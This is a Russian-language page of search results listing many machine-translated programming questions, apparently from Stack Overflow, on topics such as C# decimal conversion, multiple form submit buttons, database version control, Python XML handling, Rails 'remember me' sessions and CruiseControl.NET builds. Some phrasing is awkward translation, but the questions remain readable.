Результаты поиска
Как обработать input и button методом POST
У меня есть button и input. Я хочу, чтобы при нажатии на button, получить текст, который находится в input.
Какие арифметические действия есть в Python
Объясните на примере.
415   1   10:57, 21st July, 2020
Как настроить пагинацию (pagination) на сайте Codeigniter. Весь блок показывается на одной странице.
Весь блок новостей выводится на одной странице. Но кнопки пагинации правильно выводятся. Найдите ошибку в моём коде.
Мой контроллер:
В модели прописано следующее:
В view написано:
Преобразовать Decimal в Double?
Я хочу использовать трек-бар, чтобы изменить непрозрачность формы.
Это мой код:
decimal trans = trackBar1.Value / 5000;
this.Opacity = trans;
Когда я строю приложение, оно выдает следующую ошибку:
Невозможно неявно преобразовать тип
'decimal'в'double'.
Я пробовал использовать trans и double , но тогда контроль не работает. Этот код прекрасно работал в прошлом проекте VB.NET.
Определите timezone пользователя
Существует ли стандартный способ для веб-сервера определить timezone пользователя на веб-странице?
Возможно, из заголовка HTTP или части строки user-agent ?
Разгрузка ByteArray используя Actionscript 3
Как я могу принудительно выгрузить ByteArray из памяти с помощью ActionScript 3?
Я попробовал следующее:
// First non-working solution
byteArray.length = 0;
byteArray = new ByteArray();
// Second non-working solution
for ( var i:int=0; i < byteArray.length; i++ ) {
byteArray[i] = null;
}
Несколько кнопок отправки в форме HTML
Допустим, вы создаете мастер в форме HTML. Одна кнопка идет назад, а другая вперед. Поскольку кнопка назад появляется первой в markup при нажатии клавиши Enter, она будет использовать эту кнопку для отправки формы.
Пример:
<form>
<!-- put your cursor in this field and press Enter -->
<input type="text" name="field1" />
<!-- This is the button that will submit -->
<input type="submit" name="prev" value="Previous Page" />
<!-- But this is the button that I WANT to submit -->
<input type="submit" name="next" value="Next Page" />
</form>
Что я хотел бы сделать, так это решить, какая кнопка используется для отправки формы, когда пользователь нажимает Enter. Таким образом, при нажатии клавиши Enter мастер перейдет на следующую страницу, а не на предыдущую. Вы должны использовать tabindex , чтобы сделать это?
SQLStatement.execute()-несколько запросов в одном операторе
Я написал сценарий генерации базы данных в SQL и хочу выполнить его в своем приложении Adobe AIR :
Create Table tRole (
roleID integer Primary Key
,roleName varchar(40)
);
Create Table tFile (
fileID integer Primary Key
,fileName varchar(50)
,fileDescription varchar(500)
,thumbnailID integer
,fileFormatID integer
,categoryID integer
,isFavorite boolean
,dateAdded date
,globalAccessCount integer
,lastAccessTime date
,downloadComplete boolean
,isNew boolean
,isSpotlight boolean
,duration varchar(30)
);
Create Table tCategory (
categoryID integer Primary Key
,categoryName varchar(50)
,parent_categoryID integer
);
...
Я выполняю это в Adobe AIR, используя следующие методы:
public static function RunSqlFromFile(fileName:String):void {
var file:File = File.applicationDirectory.resolvePath(fileName);
var stream:FileStream = new FileStream();
stream.open(file, FileMode.READ)
var strSql:String = stream.readUTFBytes(stream.bytesAvailable);
NonQuery(strSql);
}
public static function NonQuery(strSQL:String):void {
var sqlConnection:SQLConnection = new SQLConnection();
sqlConnection.open(File.applicationStorageDirectory.resolvePath(DBPATH));
var sqlStatement:SQLStatement = new SQLStatement();
sqlStatement.text = strSQL;
sqlStatement.sqlConnection = sqlConnection;
try {
sqlStatement.execute();
} catch (error:SQLError) {
Alert.show(error.toString());
}
}
Ошибки не генерируются, однако существует только tRole . Похоже, что он смотрит только на первый запрос (вплоть до точки с запятой - если я удалю его, запрос не будет выполнен). Есть ли способ вызвать несколько запросов в одном операторе?
Java lib или приложение для преобразования файла CSV в файл XML?
Существует ли существующее приложение или библиотека в Java , которое позволит мне конвертировать файл CSV данных в файл XML ?
Теги XML будут предоставляться, возможно, через первую строку, содержащую заголовки столбцов.
Сжатие / Распаковка Папок И Файлов
Кто-нибудь знает хороший способ быстро сжимать или распаковывать файлы и папки в C#? Возможно, потребуется обработка больших файлов.
Как синхронизировать номер редакции SVN с моим веб-сайтом ASP.NET?
Переполнение стека имеет номер версии subversion внизу:
svn пересмотр: 679
Я хочу использовать такое автоматическое управление версиями с моими формами .NET Web Site/Application , Windows, WPD projects/solutions.
Как мне это реализовать?
Управление версиями SQL база данных сервера
Я хочу, чтобы мои базы данных были под контролем версий. Есть ли у кого-нибудь какие-нибудь советы или Рекомендуемые статьи, чтобы я начал работу?
Я всегда буду хотеть иметь там хотя бы некоторые данные (как упоминает alumb: типы пользователей и администраторы). Мне также часто требуется большая коллекция сгенерированных тестовых данных для измерения производительности.
Разбор чисел с плавающей запятой: есть ли алгоритм Catch All?
Одна из самых интересных частей мультикультурного программирования-это числовые форматы.
- Американцы используют 10,000.50
- Немцы используют 10.000,50
- Французы используют 10 000,50
Мой первый подход состоял бы в том, чтобы взять строку, разобрать ее назад, пока я не найду разделитель, и использовать его в качестве десятичного разделителя. В этом есть очевидный недостаток: 10.000 будет интерпретировано как 10.
Другой подход: если строка содержит 2 разных нечисловых символа, используйте последний в качестве десятичного разделителя и отбросьте остальные. Если у меня есть только один, проверьте, не происходит ли это несколько раз, и отбросьте его, если это происходит. Если он появляется только один раз, проверьте, есть ли после него 3 цифры. Если да, то отбросьте его, в противном случае используйте его в качестве десятичного разделителя.
Очевидным "best solution" было бы определить культуру пользователя или браузер, но это не работает, если у вас есть француз, использующий en-US Windows/Browser.
Может быть, фреймворк .net содержит какой-то мифический парсер с плавающей точкой черной магии, который лучше, чем Double.(Try)Parse() , пытается автоматически определить формат чисел?
Сервер Обновления SQL 6.5
Да, я знаю. Существование запущенной копии SQL Server 6.5 в 2008 году абсурдно.
Таким образом, каков наилучший способ перехода с 6.5 на 2005 ? Есть ли прямой путь? Большая часть документации, которую я нашел, касается обновления 6.5 до 7 .
Должен ли я забыть о собственных утилитах обновления SQL Server , сценарий из всех объектов и данных, и попытаться воссоздать с нуля?
Я собирался попробовать обновление в эти выходные, но проблемы с сервером отодвинули его до следующего. Таким образом, любые идеи будут приветствоваться в течение недели.
Обновление. Вот как я закончил это делать:
- Создайте резервную копию базы данных, о которой идет речь, и мастер на
6.5. - Выполните
SQL Server 2000'sinstcat.sqlпротив6.5' S Master. Это позволяет поставщикуSQL Server 2000' s OLEDB подключиться к6.5. - Используйте
SQL Server 2000' s standalone"Import and Export Data"для создания пакета DTS, используяOLEDBдля подключения к 6.5. Это успешно скопировало все таблицы6.5в новую базу данных2005(также используяOLEDB). - Используйте
6.5' S Enterprise Manager, чтобы записать все индексы и триггеры базы данных в A .sql файл. - Исполни это .Файл sql для новой копии базы данных в среде Management Studio 2005 года.
- Используйте 6.5's Enterprise Manager для создания сценариев всех хранимых процедур.
- Выполните этот файл
.sqlв базе данных2005. У нескольких десятков sprocs были проблемы, делающие их несовместимыми с2005. В основномnon-ANSI joinsиquoted identifier issues. - Исправлены все эти ошибки и повторно выполнен файл
.sql. - Воссоздал логины
6.5в2005и дал им соответствующие разрешения.
Было немного промывки/повтора при исправлении хранимых процедур (их было сотни, чтобы исправить), но обновление прошло отлично в противном случае.
Возможность использовать Management Studio вместо Query Analyzer и Enterprise Manager 6.5 -это такая удивительная разница. Несколько запросов отчетов, которые заняли 20-30 секунду на 6.5 database , теперь выполняются за 1-2 секунды, без каких-либо изменений, новых индексов или чего-либо еще. Я не ожидал такого немедленного улучшения.
Добавление функциональности сценариев в приложения .NET
У меня есть небольшая игра, написанная в C#., она использует базу данных в качестве бэк-энда. Это это была торговая карточная игра, и я хотел реализовать функцию карт в виде скрипта.
Я имею в виду, что у меня по существу есть интерфейс , ICard, который реализует класс карт ( public class Card056: ICard ) и который содержит функцию, вызываемую игрой.
Теперь, чтобы сделать вещь maintainable/moddable,, я хотел бы иметь класс для каждой карты в качестве исходного кода в базе данных и по существу скомпилировать его при первом использовании. Поэтому, когда мне нужно добавить/изменить карту, я просто добавлю ее в базу данных и скажу своему приложению обновить, не требуя никаких assembly deployment (тем более, что мы будем говорить о 1 assembly на карту, что означает сотни сборок).
Разве это возможно? Зарегистрируйте класс из исходного файла, а затем создайте его экземпляр и т. д.
ICard Cards[current] = new MyGame.CardLibrary.Card056();
Cards[current].OnEnterPlay(ref currentGameState);
Язык C#, но дополнительный бонус, если есть возможность написать сценарий на любом языке .NET.
Передовая Практика: Среда Совместной Работы, Каталог Bin, SVN
Каковы рекомендации по проверке каталогов BIN в среде совместной разработки с использованием SVN? Должны ли ссылки на уровень проекта быть исключены из проверки? Может быть, проще просто добавить все каталоги bin?
Я разрабатываю много сайтов DotNetNuke, и кажется, что в среде с несколькими разработчиками всегда очень сложно правильно настроить среду.
Конечная цель (конечно) состоит в том, чтобы новый разработчик проверил магистраль из SVN, восстановил базу данных DNN и все это просто 'work'...
Как вы сортируете словарь по значению?
Мне часто приходится сортировать словарь, состоящий из ключей & значений, по значению. Например, у меня есть hash слов и соответствующих частот, которые я хочу упорядочить по частоте.
Есть SortedList , который хорош для одного значения (скажем, частоты), и я хочу сопоставить его со словом.
SortedDictionary заказы по ключу, а не по значению. Некоторые прибегают к пользовательскому классу, но есть ли более чистый способ?
Существует ли система контроля версий для изменения структуры базы данных?
Я часто сталкиваюсь со следующей проблемой.
Я работаю над некоторыми изменениями в проекте, которые требуют новых таблиц или столбцов в базе данных. Я делаю изменения в базе данных и продолжаю свою работу. Обычно я не забываю записать изменения, чтобы они могли быть воспроизведены в живой системе. Однако я не всегда помню, что я изменил, и не всегда помню, чтобы записать это.
Итак, я делаю толчок к живой системе и получаю большую, очевидную ошибку , что нет NewColumnX, тьфу.
Независимо от того, что это может быть не лучшим решением для данной ситуации, существует ли система контроля версий для баз данных? Меня не волнует конкретная технология баз данных. Я просто хочу знать, существует ли он. Если это случится работать с сервером MS SQL, то отлично.
XML обработка в Python
Я собираюсь построить часть проекта, который должен будет построить и разместить документ XML в веб-сервисе, и я хотел бы сделать это в Python, чтобы расширить свои навыки в этом.
К сожалению, хотя я довольно хорошо знаю модель XML в .NET, я не уверен, каковы плюсы и минусы моделей XML в Python.
У кого-нибудь есть опыт выполнения обработки XML в Python? С чего бы вы посоветовали мне начать? Файлы XML, которые я буду создавать, будут довольно простыми.
Реализация функции "Remember me" в приложении Rails
В моем Rails-приложении есть поле входа с "remember me" checkbox. Пользователи, установившие этот флажок, должны оставаться в системе даже после закрытия браузера. Я отслеживаю, входят ли пользователи в систему, сохраняя их идентификатор в сеансе пользователя.
Но сеансы реализуются в Rails как сеансовые файлы cookie, которые не являются постоянными. Я могу сделать их настойчивыми:
class ApplicationController < ActionController::Base
before_filter :update_session_expiration_date
private
def update_session_expiration_date
options = ActionController::Base.session_options
unless options[:session_expires]
options[:session_expires] = 1.year.from_now
end
end
end
Но это похоже на взлом, что удивительно для такой распространенной функциональности. Есть ли какой-нибудь лучший способ?
Редактировать
Ответ Гарета довольно хорош, но я все равно хотел бы получить ответ от кого-то, кто знаком с Rails 2 (потому что он уникален CookieSessionStore ).
Как я могу найти полный путь к шрифту из его отображаемого имени на Mac?
Я использую Photoshop javascript API, чтобы найти шрифты в данном PSD.
Учитывая имя шрифта, возвращаемое API, я хочу найти фактический физический файл шрифта, которому соответствует имя шрифта на диске.
Это все происходит в программе python, работающей на OSX, поэтому я думаю, что ищу один из:
- Некоторые Photoshop javascript
- Функция Python
- OSX API, что я могу позвонить из python
Получить предварительный просмотр JPEG из PDF на Windows?
У меня есть кроссплатформенное приложение (Python), которое должно генерировать предварительный просмотр JPEG первой страницы PDF.
На Макинтоше я мечу икру глотками . Есть ли что-то столь же простое, что я могу сделать на Windows?
Частые SystemExit в Ruby при совершении HTTP звонков
У меня есть сайт Ruby on Rails, который делает HTTP вызовов к внешней веб-службе.
Примерно раз в день я получаю ошибку SystemExit (stacktrace ниже) email, когда вызов службы не удался. Если я затем попробую точно такой же запрос на моем сайте через несколько минут, он отлично работает. Это происходит с тех пор, как сайт вышел в эфир, и мне не удалось отследить, что вызывает его.
Ruby-это версия 1.8.6, а rails-версия 1.2.6.
У кого-нибудь еще есть эта проблема?
Это ошибка и stacktrace.
В SystemExit произошло /usr/local/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/fcgi_handler.rb:116:in выход' /usr/local/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/fcgi_handler.rb:116:in exit_now_handler' /usr/local/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/inflector.rb:250:in to_proc' /usr/local/lib/ruby/1.8/net/protocol.rb:133:in называть /usr/local/lib/ruby/1.8/net/protocol.rb:133:in sysread' /usr/local/lib/ruby/1.8/net/protocol.rb:133:in rbuf_fill' /Таймаут usr/local/lib/ruby/1.8/timeout.rb:56:in' /Таймаут usr/local/lib/ruby/1.8/timeout.rb:76:in' /usr/local/lib/ruby/1.8/net/protocol.rb:132:in rbuf_fill' /Readuntil usr/local/lib/ruby/1.8/net/protocol.rb:116:in' / usr/local/lib/ruby/1.8/net/protocol.rb:126:in readline' /usr/local/lib/ruby/1.8/net/http.rb:2017:in read_status_line' /usr/local/lib/ruby/1.8/net/http.rb:2006:in read_new' / usr/local/lib/ruby/1.8/net/http.rb:1047:in запрос' /usr/local/lib/ruby/1.8/net/http.rb:945:in request_get' /usr/local/lib/ruby/1.8/net/http.rb:380:in get_response' / usr/local/lib/ruby/1.8/net/http.rb:543:in начало' /usr/local/lib/ruby/1.8/net/http.rb:379:in get_response'
Система непрерывной интеграции для кодовой базы Python
Я начинаю работать над хобби-проектом с кодовой базой Python, и я хотел бы создать некоторую форму непрерывной интеграции (т. е. запуск батареи тест-кейсов каждый раз, когда производится регистрация и отправка электронных писем nag ответственным лицам, когда тесты терпят неудачу), подобную CruiseControl или TeamCity .
Я понимаю , что могу сделать это с помощью крючков в большинстве VCSes, но для этого требуется, чтобы тесты выполнялись на той же машине, что и сервер управления версиями, что не так элегантно, как хотелось бы. Есть ли у кого-нибудь предложения по небольшой, удобной для пользователя системе непрерывной интеграции с открытым исходным кодом, подходящей для кодовой базы Python ?
Окончательное руководство по проверке подлинности веб-сайта на основе форм
Аутентификация на основе форм для веб-сайтов
Мы считаем, что Stack Overflow должен быть не только ресурсом для очень конкретных технических вопросов, но и для общих руководящих принципов по решению вариаций общих проблем. "Form based authentication for websites" должно быть прекрасной темой для такого эксперимента.
Он должен включать такие темы, как:
- Как войти в систему
- Как выйти из системы
- Как оставаться в системе
- Управление файлами cookie (включая рекомендуемые настройки)
- Шифрование SSL/HTTPS
- Как хранить пароли
- Использование секретных вопросов
- Забытый логин / пароль функциональность
- Использовать специальные слова, чтобы предотвратить подделка межсайтовых запросов (CSRF)
- OpenID
- "Remember me" checkbox
- Автозавершение браузером имен пользователей и паролей
- Секретный URLs (публичный URL защищен дайджестом)
- Проверка надежности пароля
- Проверка электронной почты
- и многое другое о проверке подлинности на основе форм ...
Он не должен включать в себя такие вещи, как:
- Роли и разрешения
- HTTP обычной проверки подлинности
Пожалуйста, помогите нам:
- Предлагая подтемы
- Отправка хороших статей на эту тему
- Редактирование официального ответа
cx_Oracle: Как выполнить итерацию по результирующему набору?
Существует несколько способов перебора результирующего набора. Каков компромисс каждого из них?
Автоматическое обновление номера версии
Я бы хотел, чтобы свойство version моего приложения увеличивалось для каждой сборки, но я не уверен, как включить эту функциональность в Visual Studio (2005/2008)., я пытался указать AssemblyVersion как 1.0. но это не дает мне точно то, что я хочу.
Я также использую файл настроек и в предыдущих попытках, когда версия assembly изменила мои настройки, они были сброшены по умолчанию, так как приложение искало файл настроек в другом каталоге.
Я хотел бы иметь возможность отображать номер версии в виде 1.1.38, поэтому, когда пользователь находит проблему, я могу зарегистрировать версию, которую он использует, а также сказать им обновить, если у них есть старая версия.
Кроме того, мы хотели бы получить краткое объяснение того, как работает управление версиями. Когда увеличивается число сборок и ревизий?
Контрольный список для IIS 6/ASP.NET Windows аутентификации?
У меня возникли проблемы с тем, чтобы мое приложение ASP.NET автоматически регистрировало пользователей на сайте интрасети, который я создаю. Независимо от того, что я гуглил или экспериментировал, всегда есть окно входа, отображаемое IE7.
Я установил режим аутентификации Windows в Web.config, отключил анонимный доступ и настроил правильный домен по умолчанию в IIS, но он все еще просит пользователя войти в систему и, что еще более раздражает, пользователь должен также предоставить домен ( DOMAIN\auser ), что вызывает проблемы с нетехническими посетителями. Спасибо Zeus за функциональность запоминания паролей.
Я не являюсь администратором сети, поэтому вполне возможно, что что-то в Active Directory настроено неправильно, или это может быть просто я пропустил что-то очень простое. Обратите внимание, что я не хочу выдавать себя за пользователя, мне просто нужно знать, что свойство IPrincipal.Name совпадает с действительной записью в моей базе данных пользователей, следовательно, аутентификация пользователя в моем приложении.
С этой целью было бы очень полезно иметь контрольный список всех требований к конфигурации для AD, ASP.NET и IIS, чтобы работать вместе таким образом в качестве справочного материала для отладки и, надеюсь, уменьшить некоторые трения пользователей.
Шифрование Паролей
Каков самый быстрый, но безопасный способ шифрования паролей в (предпочтительно PHP), и для какого метода вы выбираете, является ли он портативным?
Другими словами, если я позже перенесу свой сайт на другой сервер, будут ли мои пароли продолжать работать?
Метод, который я использую сейчас, как мне было сказано, зависит от точных версий библиотек, установленных на сервере.
Использование 'in' для сопоставления атрибута объектов Python в массиве
Я не помню, спал я или нет, но я, кажется, помню, что была функция, которая позволяла что-то вроде,
foo in iter_attr(array of python objects, attribute name)
Я просмотрел документы, но такие вещи не подпадают ни под какие очевидные заголовки списка
Представления классов в Django
Django вид указывает на функцию, которая может быть проблемой, если вы хотите изменить только немного функциональности. Да, я мог бы иметь миллион аргументов ключевых слов и даже больше операторов if в функции, но я больше думал об объектно-ориентированном подходе.
Например, у меня есть страница, на которой отображается пользователь. Эта страница очень похожа на страницу, которая отображает группу, но она все еще не настолько похожа, чтобы просто использовать другую модель данных. Группа также имеет членов и т. д...
Одним из способов было бы указать представления на методы класса, а затем расширить этот класс. Пробовал ли кто-нибудь этот подход или у него есть другие идеи?
Как создать новый экземпляр объекта из типа
Можно не всегда знать Type объекта во время компиляции, но может потребоваться создать экземпляр Type . Как получить новый экземпляр объекта из Type ?
Локализация дескрипторов формата даты
Что является лучшим способом, чтобы локализовать формат даты, дескриптора?
Как знает любой человек из культуры, которая не использует формат mm/dd/yyyy, раздражает необходимость вводить даты в этом формате. То.NET framework обеспечивает очень хорошую поддержку локализации, поэтому тривиально анализировать даты в соответствии с культурой пользователей, но вы часто хотите также отобразить полезную подсказку относительно требуемого формата (особенно для различения yy и yyyy, которые взаимозаменяемы в большинстве культур).
Каков наилучший способ сделать это таким образом, чтобы иметь смысл для большинства пользователей (например, dd/M/yyy сбивает с толку из-за изменения регистра и переключения между одной и двумя буквами).
Python и MySQL
Я могу заставить Python работать с Postgresql, но я не могу заставить его работать с MySQL. Основная проблема заключается в том, что на общей учетной записи хостинга у меня нет возможности устанавливать такие вещи, как Django или PySQL, я обычно не могу установить их на свой компьютер, поэтому, возможно, это хорошо, что я не могу установить на хосте.
Я нашел bpgsql действительно хорошим, потому что он не требует установки, это один файл, который я могу посмотреть, прочитать, а затем вызвать функции. Кто-нибудь знает что-то подобное для MySQL?
Решение линейного уравнения
Мне нужно программно решить систему линейных уравнений в C, Objective C или (при необходимости) C++.
Вот пример уравнений:
-44.3940 = a * 50.0 + b * 37.0 + tx
-45.3049 = a * 43.0 + b * 39.0 + tx
-44.9594 = a * 52.0 + b * 41.0 + tx
Исходя из этого, я хотел бы получить наилучшее приближение для a , b и tx .
Как я могу использовать Python itertools.groupby()?
Я не смог найти понятного объяснения того, как на самом деле использовать функцию Python itertools.groupby() . Я пытаюсь сделать вот что:
- Возьмите список-в этом случае дочерние элементы объективированного элемента
lxml - Разделите его на группы по некоторым критериям
- Затем позже повторите каждую из этих групп отдельно.
Я ознакомился с документацией и примерами , но мне было трудно применить их за пределами простого списка цифр.
Итак, как я могу использовать itertools.groupby() ? Есть ли другая техника, которую я должен использовать? Указатели на хорошее чтение "prerequisite" также будут оценены.
Проект Установки Visual Studio-Параметры Реестра Для Каждого Пользователя
Я пытаюсь поддерживать проект установки в Visual Studio 2003 (да, это устаревшее приложение). Проблема, с которой мы столкнулись на данный момент, заключается в том, что нам нужно записать записи реестра в HKCU для каждого пользователя на компьютере. Они должны быть в HKCU , а не в HKLM , потому что они являются настройками пользователя по умолчанию, и они действительно меняются для каждого пользователя. Мое ощущение заключается в том, что
- Это невозможно
- Это не то, что должен делать установщик, но то, что должно делать приложение (в конце концов, что происходит, когда Профиль пользователя создается после установки?).
Учитывая это, я все еще хочу изменить как можно меньше в приложении, поэтому мой вопрос заключается в том, можно ли добавить записи реестра для каждого пользователя в проекте установки Visual Studio 2003 ?
И, на данный момент проект перечисляет пять корневых ключей реестра (HKEY_CLASSES_ROOT, HKEY_CURRENT_USER , HKEY_LOCAL_MACHINE , HKEY_USERS и User/Machine Hive). Я действительно ничего не знаю о корневом ключе Users и не видел User/Machine Hive. Может ли кто-нибудь просветить меня на этот счет? Возможно, они могли бы решить мою проблему выше.
CruiseControl.net, msbuild, /p:OutputPath и CCNetArtifactDirectory
В данный момент я пытаюсь настроить CruiseControl.net. До сих пор это работает хорошо, но у меня есть проблема с задачей MSBuild.
Согласно документации, он проходит от CCNetArtifactDirectory до MSBuild. Но как мне его использовать?
Я попробовал это сделать:
<buildArgs>
/noconsolelogger /p:OutputPath=$(CCNetArtifactDirectory)\test
</buildArgs>
Но это не работает. На самом деле, он убивает службу с этой ошибкой:
ThoughtWorks.CruiseControl.Core.Config.Preprocessor.EvaluationException: ссылка на неизвестный символ CCNetArtifactDirectory
Документация довольно скудна, и google und в основном предлагает изменить файл проекта .sln, чего я хочу избежать, чтобы иметь возможность вручную построить этот проект позже - я бы действительно предпочел /p:OutputPath .
Как определить, какой из определенных шрифтов был использован на веб-странице?
Предположим, что у меня на странице есть следующее правило CSS:
body {
font-family: Calibri, Trebuchet MS, Helvetica, sans-serif;
}
Как я могу определить, какой из определенных шрифтов был использован в браузере пользователя?
Редактирование для людей, которым интересно, почему я хочу сделать это: шрифт, который я обнаруживаю, содержит глифы, которые не доступны в других шрифтах, и когда у пользователя нет шрифта, я хочу отобразить ссылку с просьбой загрузить этот шрифт, чтобы они могли использовать мое веб-приложение с правильным шрифтом.
В настоящее время я показываю ссылку на шрифт загрузки для всех пользователей, я хочу показать это только для людей, у которых не установлен правильный шрифт.
.Net XML комментарий к документации API
Существует ли простой способ создать документацию в стиле MSDN из выходных данных Visual Studio XML?
Я не настолько терпелив, чтобы создать хороший xslt для этого, потому что я знаю, что я не первый человек, который пересек этот мост.
Кроме того, я недавно пытался установить замок из песка, но это действительно заставило меня скосить глаза. Либо я упустил что-то важное в этом процессе, либо он просто слишком вовлечен.
Я знаю, что у кого-то там есть действительно хорошее мертвое простое решение.
Я повторяю здесь, потому что я думаю, что мое форматирование сделало этот абзац неинтересным для чтения:
Я дал Сэнд-Кастлу попробовать, но мне было очень трудно его настроить. На самом деле я имею в виду нечто гораздо более простое.
То есть, если только я просто не понимаю процесс создания песчаного замка. Мне казалось, что это ужасно много дополнительного багажа, чтобы просто произвести что-то хорошее для тестировщиков, чтобы работать с ними.
Интернационализация в ваших проектах
Как вы реализовали интернационализацию (i18n) в реальных проектах, над которыми вы работали?
Я заинтересовался тем, чтобы сделать программное обеспечение кросс-культурным после того, как прочитал знаменитый пост Джоэла, абсолютный минимум, который каждый разработчик программного обеспечения абсолютно, положительно должен знать о Unicode и наборах символов (никаких оправданий!) . Тем не менее, я еще не смог воспользоваться этим в реальном проекте, кроме того, чтобы убедиться, что я использовал строки Unicode, где это возможно. Но создание всех ваших строк Unicode и обеспечение того, чтобы вы понимали, в какой кодировке находится все, с чем вы работаете, - это только верхушка айсберга i18n.
Все, над чем я работал до сих пор, было предназначено для использования контролируемым набором англоговорящих людей из США, или i18n просто не было тем, над чем мы успели поработать, прежде чем запустить проект в прямом эфире. Поэтому я ищу любые советы или военные истории, которые есть у людей о том, как сделать программное обеспечение более локализованным в реальных проектах.
506   11   16:03, 1st July, 2020
Как подключиться к базе данных и выполнить цикл над набором записей в C#?
Каков самый простой способ подключения и запроса базы данных для набора записей в C#?
Необработанный обработчик исключений в .NET 1.1
Я поддерживаю приложение .NET 1.1, и одна из моих задач-убедиться, что пользователь не видит никаких недружественных уведомлений об ошибках.
Я добавил обработчики к Application.ThreadException и AppDomain.CurrentDomain.UnhandledException, которые действительно вызываются. Моя проблема заключается в том, что стандартный диалог ошибки CLR все еще отображается (до вызова обработчика исключений).
Джефф рассказывает об этой проблеме в своем блоге здесь и здесь . Но нет никакого решения. Итак, каков стандартный способ в .NET 1.1 обрабатывать необнаруженные исключения и отображать дружественное диалоговое окно?
Ответ Джеффа был отмечен как правильный ответ, потому что ссылка, которую он предоставил, содержит самую полную информацию о том, как сделать то, что требуется.
Добавление метода к существующему экземпляру объекта
Я читал, что можно добавить метод к существующему объекту (т. е. не в определении класса) в Python.
Я понимаю, что это не всегда хорошо делать. Но как это сделать?
Как исправить ошибку "Unprocessed view path found" с плагином ExceptionNotifier в rails 2.1?
После обновления веб-сайта rails 1.2 до 2.1 плагин ExceptionNotifier больше не работает, жалуясь на эту ошибку:
ActionView::TemplateFinder::InvalidViewPath: необработанный путь представления найдено: "/path/to/appname/vendor/plugins/exception_notification/lib/../views". Задайте пути просмотра с помощью #append_view_path, #prepend_view_path, или #view_paths=.
Что вызывает это и как я могу это исправить?
Обеспечение того, чтобы исключения всегда перехватывались
Исключения в C++ не должны быть пойманы (без ошибок времени компиляции) вызывающей функцией. Таким образом, это зависит от решения разработчика, следует ли ловить их с помощью try/catch (в отличие от Java).
Есть ли способ гарантировать, что брошенные исключения всегда перехватываются с помощью try/catch вызывающей функцией?
Используйте ревизию SVN для обозначения сборки в CCNET
Я использую CCNET в примерном проекте с SVN в качестве системы управления версиями. CCNET настроен для создания сборки при каждом возврате. CCNET использует MSBuild для построения исходного кода.
Я хотел бы использовать последний номер редакции для генерации AssemblyInfo.cs при компиляции.
Как я могу извлечь последнюю версию из subversion и использовать значение в CCNET?
Edit: я не использую NAnt-только MSBuild.
Какова наиболее эффективная графовая структура данных в Python?
Мне нужно уметь манипулировать большим (10^7 узлов) графом в python. Данные, соответствующие каждому узлу / ребру, минимальны, скажем, небольшое количество строк. Каков наиболее эффективный , с точки зрения памяти и скорости , способ сделать это?
Дикт диктов более гибок и прост в реализации, но я интуитивно ожидаю, что список списков будет быстрее. Опция списка также потребует, чтобы я хранил данные отдельно от структуры, в то время как дикты позволят сделать что-то подобное:
graph[I][J]["Property"]="value"
Что бы вы предложили?
Да, мне следовало бы немного прояснить, что я подразумеваю под эффективностью. В данном конкретном случае я имею в виду его в терминах произвольного поиска доступа.
Загрузка данных в память не является огромной проблемой. Это делается раз и навсегда. Трудоемкая часть-это посещение узлов, чтобы я мог извлечь информацию и измерить интересующие меня показатели.
Я не рассматривал возможность сделать каждый узел классом (свойства одинаковы для всех узлов), но похоже, что это добавит дополнительный уровень накладных расходов? Я надеялся, что у кого-то будет какой-то непосредственный опыт с подобным случаем, которым они могли бы поделиться. В конце концов, графики-это одна из самых распространенных абстракций в CS.
Как создать учетные записи пользователей поддоменов в веб-приложении
Я ищу, чтобы позволить пользователям контролировать поддомен приложения, с которым я играю, так же, как Basecamp, где это customusername.seework.com .
Что требуется на конце DNS , чтобы позволить им создаваться динамически и быть доступными мгновенно.
И как вы рекомендуете бороться с этим в логике сайта? Правило Htaccess для поиска поддомена в DB ?
Каковы преимущества использования SVN по сравнению с CVS?
Моя компания использует CVS как наш фактический стандарт для управления версиями. Тем не менее, я слышал много людей, которые говорят, что SVN лучше.
Я знаю, что SVN новее, но в остальном я не знаком с его преимуществами.
То, что я ищу, - это хорошее, сжатое сравнение двух систем, отмечая любые преимущества или недостатки каждой из них в среде разработки Java/Eclipse.
Перехват SQL инъекций и других вредоносных веб-запросов
Я ищу инструмент, который может обнаруживать вредоносные запросы (такие как очевидные SQL инъекций получает или сообщения) и сразу же запретит IP адрес запрашивающего/добавить в черный список. Я знаю, что в идеальном мире наш код должен уметь обрабатывать такие запросы и относиться к ним соответственно, но в таком инструменте есть большая ценность даже тогда, когда сайт защищен от подобных атак, поскольку он может привести к экономии пропускной способности, предотвращению раздутия аналитики и т. д.
В идеале я ищу кросс-платформенное решение (LAMP/.NET), которое находится на более высоком уровне, чем технологический стек; возможно, на уровне веб-сервера или аппаратного обеспечения. Хотя я не уверен, что это существует.
В любом случае, я хотел бы услышать отзывы сообщества, чтобы увидеть, какие у меня могут быть варианты в отношении реализации и подхода.
Предельный размер очереди в .NET?
У меня есть объект Queue<T>, который я инициализировал до емкости 2, но очевидно, что это просто емкость, и она продолжает расширяться по мере добавления элементов. Есть ли уже объект, который автоматически отменяет запрос элемента при достижении предела, или это лучшее решение для создания моего собственного наследуемого класса?
Использование MSTest с CruiseControl.NET
Мы уже довольно давно используем CruiseControl с NUnit и NAnt. Для недавнего проекта мы решили использовать платформу тестирования, которая поставляется с Visual Studio, которая до сих пор была адекватной.
Я пытаюсь запустить решение в CruiseControl. Я, наконец, получил саму сборку для работы; однако я не смог получить никаких тестов для отображения в интерфейсе CruiseControl, несмотря на добавление пользовательских задач сборки и компонентов, предназначенных для этого. У кого-нибудь есть окончательная ссылка на инструкции по настройке этой настройки?
Subsonic против NHibernate
Каково же общее мнение о том, когда следует использовать один из этих инструментов по отношению к другому? Я нахожу Subsonic очень полезным с точки зрения быстрого выполнения задач, но в больших проектах он имеет тенденцию не масштабироваться, и это связывает вашу модель домена с вашей моделью базы данных. Именно здесь появляется Nhibernate, поскольку он дает вам облегченные POCOs, которые не связаны с вашей моделью базы данных, но время настройки намного больше.
ASP.Net Пользовательская Проверка На Стороне Клиента
У меня есть пользовательская функция проверки в JavaScript в пользовательском элементе управления на веб-сайте .Net 2.0, которая проверяет, не превышает ли уплаченная плата причитающуюся сумму.
Я поместил код валидатора в файл ascx , а также попытался использовать Page.ClientScript.RegisterClientScriptBlock() и в обоих случаях срабатывает проверка, но не могу найти функцию JavaScript.
